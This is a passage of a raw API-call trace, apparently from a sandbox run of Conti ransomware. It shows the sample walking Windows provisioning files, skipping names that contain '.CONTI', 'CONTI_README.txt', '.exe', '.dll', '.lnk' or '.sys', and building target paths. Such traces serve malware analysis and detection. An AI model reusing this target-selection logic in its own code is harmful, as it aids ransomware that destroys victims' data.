	[0109.346] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c9060a, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90c9060a, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90c9060a, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1cb, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="337__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", cAlternateFileName="337__C~1.PRO")) returned 1
	[0109.346] lstrcmpiW (lpString1="337__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpString2=".") returned 1
	[0109.346] lstrcmpiW (lpString1="337__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpString2="..") returned 1
	[0109.346] StrStrIW (lpFirst="337__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpSrch=".CONTI") returned 0x0
	[0109.346] StrStrIW (lpFirst="337__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.346] StrStrIW (lpFirst="337__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpSrch=".exe") returned 0x0
	[0109.347] StrStrIW (lpFirst="337__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpSrch=".dll") returned 0x0
	[0109.347] StrStrIW (lpFirst="337__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpSrch=".lnk") returned 0x0
	[0109.347] StrStrIW (lpFirst="337__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpSrch=".sys") returned 0x0
	[0109.347] StrStrIW (lpFirst="337__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpSrch=".CONTI") returned 0x0
	[0109.347] StrStrIW (lpFirst="337__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.347] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.347] lstrlenW (lpString="337__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned 68
	[0109.347] GetProcessHeap () returned 0x1720000
	[0109.347] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13e) returned 0x6567d78
	[0109.347] lstrcpyW (in: lpString1=0x6567d78, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.347] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.347] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="337__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\337__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\337__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml"
	[0109.347] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c9060a, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90c9060a, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90c9060a, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1c8, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="338__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="338__C~1.PRO")) returned 1
	[0109.347] lstrcmpiW (lpString1="338__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".") returned 1
	[0109.347] lstrcmpiW (lpString1="338__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2="..") returned 1
	[0109.347] StrStrIW (lpFirst="338__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".CONTI") returned 0x0
	[0109.347] StrStrIW (lpFirst="338__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.347] StrStrIW (lpFirst="338__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".exe") returned 0x0
	[0109.347] StrStrIW (lpFirst="338__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".dll") returned 0x0
	[0109.347] StrStrIW (lpFirst="338__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".lnk") returned 0x0
	[0109.347] StrStrIW (lpFirst="338__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".sys") returned 0x0
	[0109.347] StrStrIW (lpFirst="338__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".CONTI") returned 0x0
	[0109.347] StrStrIW (lpFirst="338__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.347] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.347] lstrlenW (lpString="338__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned 53
	[0109.347] GetProcessHeap () returned 0x1720000
	[0109.347] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x120) returned 0x17c3e08
	[0109.347] lstrcpyW (in: lpString1=0x17c3e08, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.347] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.347] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="338__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\338__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\338__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0109.347] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c9060a, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90c9060a, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90c9060a, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x35a, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="339__Connections_Cellular_vodafone P (Portugal)_i0$(__MVID)@WAP.provxml", cAlternateFileName="339__C~1.PRO")) returned 1
	[0109.347] lstrcmpiW (lpString1="339__Connections_Cellular_vodafone P (Portugal)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.347] lstrcmpiW (lpString1="339__Connections_Cellular_vodafone P (Portugal)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.348] StrStrIW (lpFirst="339__Connections_Cellular_vodafone P (Portugal)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.348] StrStrIW (lpFirst="339__Connections_Cellular_vodafone P (Portugal)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.348] StrStrIW (lpFirst="339__Connections_Cellular_vodafone P (Portugal)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.348] StrStrIW (lpFirst="339__Connections_Cellular_vodafone P (Portugal)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.348] StrStrIW (lpFirst="339__Connections_Cellular_vodafone P (Portugal)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.348] StrStrIW (lpFirst="339__Connections_Cellular_vodafone P (Portugal)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.348] StrStrIW (lpFirst="339__Connections_Cellular_vodafone P (Portugal)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.348] StrStrIW (lpFirst="339__Connections_Cellular_vodafone P (Portugal)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.348] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.348] lstrlenW (lpString="339__Connections_Cellular_vodafone P (Portugal)_i0$(__MVID)@WAP.provxml") returned 71
	[0109.348] GetProcessHeap () returned 0x1720000
	[0109.348] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x144) returned 0x6561408
	[0109.348] lstrcpyW (in: lpString1=0x6561408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.348] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.348] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="339__Connections_Cellular_vodafone P (Portugal)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\339__Connections_Cellular_vodafone P (Portugal)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\339__Connections_Cellular_vodafone P (Portugal)_i0$(__MVID)@WAP.provxml"
	[0109.348] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x901d57cf, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x901d57cf, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x901d57cf, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c3, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="33__Connections_Cellular_Azerfon (Azerbaijan)_i0$(__MVID)@WAP.provxml", cAlternateFileName="33__CO~1.PRO")) returned 1
	[0109.348] lstrcmpiW (lpString1="33__Connections_Cellular_Azerfon (Azerbaijan)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.348] lstrcmpiW (lpString1="33__Connections_Cellular_Azerfon (Azerbaijan)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.348] StrStrIW (lpFirst="33__Connections_Cellular_Azerfon (Azerbaijan)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.348] StrStrIW (lpFirst="33__Connections_Cellular_Azerfon (Azerbaijan)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.348] StrStrIW (lpFirst="33__Connections_Cellular_Azerfon (Azerbaijan)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.348] StrStrIW (lpFirst="33__Connections_Cellular_Azerfon (Azerbaijan)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.348] StrStrIW (lpFirst="33__Connections_Cellular_Azerfon (Azerbaijan)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.348] StrStrIW (lpFirst="33__Connections_Cellular_Azerfon (Azerbaijan)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.348] StrStrIW (lpFirst="33__Connections_Cellular_Azerfon (Azerbaijan)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.348] StrStrIW (lpFirst="33__Connections_Cellular_Azerfon (Azerbaijan)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.348] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.348] lstrlenW (lpString="33__Connections_Cellular_Azerfon (Azerbaijan)_i0$(__MVID)@WAP.provxml") returned 69
	[0109.348] GetProcessHeap () returned 0x1720000
	[0109.348] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x140) returned 0x65671f0
	[0109.348] lstrcpyW (in: lpString1=0x65671f0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.348] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.348] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="33__Connections_Cellular_Azerfon (Azerbaijan)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\33__Connections_Cellular_Azerfon (Azerbaijan)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\33__Connections_Cellular_Azerfon (Azerbaijan)_i0$(__MVID)@WAP.provxml"
	[0109.349] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c9060a, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90c9060a, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90c9060a, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="340__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="340__C~1.PRO")) returned 1
	[0109.349] lstrcmpiW (lpString1="340__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".") returned 1
	[0109.349] lstrcmpiW (lpString1="340__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2="..") returned 1
	[0109.349] StrStrIW (lpFirst="340__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".CONTI") returned 0x0
	[0109.349] StrStrIW (lpFirst="340__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.349] StrStrIW (lpFirst="340__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".exe") returned 0x0
	[0109.349] StrStrIW (lpFirst="340__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".dll") returned 0x0
	[0109.349] StrStrIW (lpFirst="340__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".lnk") returned 0x0
	[0109.349] StrStrIW (lpFirst="340__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".sys") returned 0x0
	[0109.349] StrStrIW (lpFirst="340__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".CONTI") returned 0x0
	[0109.349] StrStrIW (lpFirst="340__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.349] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.349] lstrlenW (lpString="340__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned 53
	[0109.349] GetProcessHeap () returned 0x1720000
	[0109.349] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x120) returned 0x17c3688
	[0109.349] lstrcpyW (in: lpString1=0x17c3688, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.349] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.349] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="340__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\340__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\340__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0109.349] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c9060a, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90c9060a, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90c9060a, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x283, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="341__Connections_Cellular_Claro (Puerto Rico)_i0$(__MVID)@WAP.provxml", cAlternateFileName="341__C~1.PRO")) returned 1
	[0109.349] lstrcmpiW (lpString1="341__Connections_Cellular_Claro (Puerto Rico)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.349] lstrcmpiW (lpString1="341__Connections_Cellular_Claro (Puerto Rico)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.349] StrStrIW (lpFirst="341__Connections_Cellular_Claro (Puerto Rico)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.349] StrStrIW (lpFirst="341__Connections_Cellular_Claro (Puerto Rico)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.349] StrStrIW (lpFirst="341__Connections_Cellular_Claro (Puerto Rico)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.349] StrStrIW (lpFirst="341__Connections_Cellular_Claro (Puerto Rico)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.349] StrStrIW (lpFirst="341__Connections_Cellular_Claro (Puerto Rico)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.349] StrStrIW (lpFirst="341__Connections_Cellular_Claro (Puerto Rico)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.349] StrStrIW (lpFirst="341__Connections_Cellular_Claro (Puerto Rico)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.349] StrStrIW (lpFirst="341__Connections_Cellular_Claro (Puerto Rico)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.349] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.349] lstrlenW (lpString="341__Connections_Cellular_Claro (Puerto Rico)_i0$(__MVID)@WAP.provxml") returned 69
	[0109.349] GetProcessHeap () returned 0x1720000
	[0109.349] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x140) returned 0x6567338
	[0109.350] lstrcpyW (in: lpString1=0x6567338, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.350] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.350] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="341__Connections_Cellular_Claro (Puerto Rico)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\341__Connections_Cellular_Claro (Puerto Rico)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\341__Connections_Cellular_Claro (Puerto Rico)_i0$(__MVID)@WAP.provxml"
	[0109.350] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c9060a, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90c9060a, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90c9060a, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d3, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="342__Connections_Cellular_Claro (Puerto Rico)_i1$(__MVID)@WAP.provxml", cAlternateFileName="342__C~1.PRO")) returned 1
	[0109.350] lstrcmpiW (lpString1="342__Connections_Cellular_Claro (Puerto Rico)_i1$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.350] lstrcmpiW (lpString1="342__Connections_Cellular_Claro (Puerto Rico)_i1$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.350] StrStrIW (lpFirst="342__Connections_Cellular_Claro (Puerto Rico)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.350] StrStrIW (lpFirst="342__Connections_Cellular_Claro (Puerto Rico)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.350] StrStrIW (lpFirst="342__Connections_Cellular_Claro (Puerto Rico)_i1$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.350] StrStrIW (lpFirst="342__Connections_Cellular_Claro (Puerto Rico)_i1$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.350] StrStrIW (lpFirst="342__Connections_Cellular_Claro (Puerto Rico)_i1$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.350] StrStrIW (lpFirst="342__Connections_Cellular_Claro (Puerto Rico)_i1$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.350] StrStrIW (lpFirst="342__Connections_Cellular_Claro (Puerto Rico)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.350] StrStrIW (lpFirst="342__Connections_Cellular_Claro (Puerto Rico)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.350] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.350] lstrlenW (lpString="342__Connections_Cellular_Claro (Puerto Rico)_i1$(__MVID)@WAP.provxml") returned 69
	[0109.350] GetProcessHeap () returned 0x1720000
	[0109.350] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x140) returned 0x6566668
	[0109.350] lstrcpyW (in: lpString1=0x6566668, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.350] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
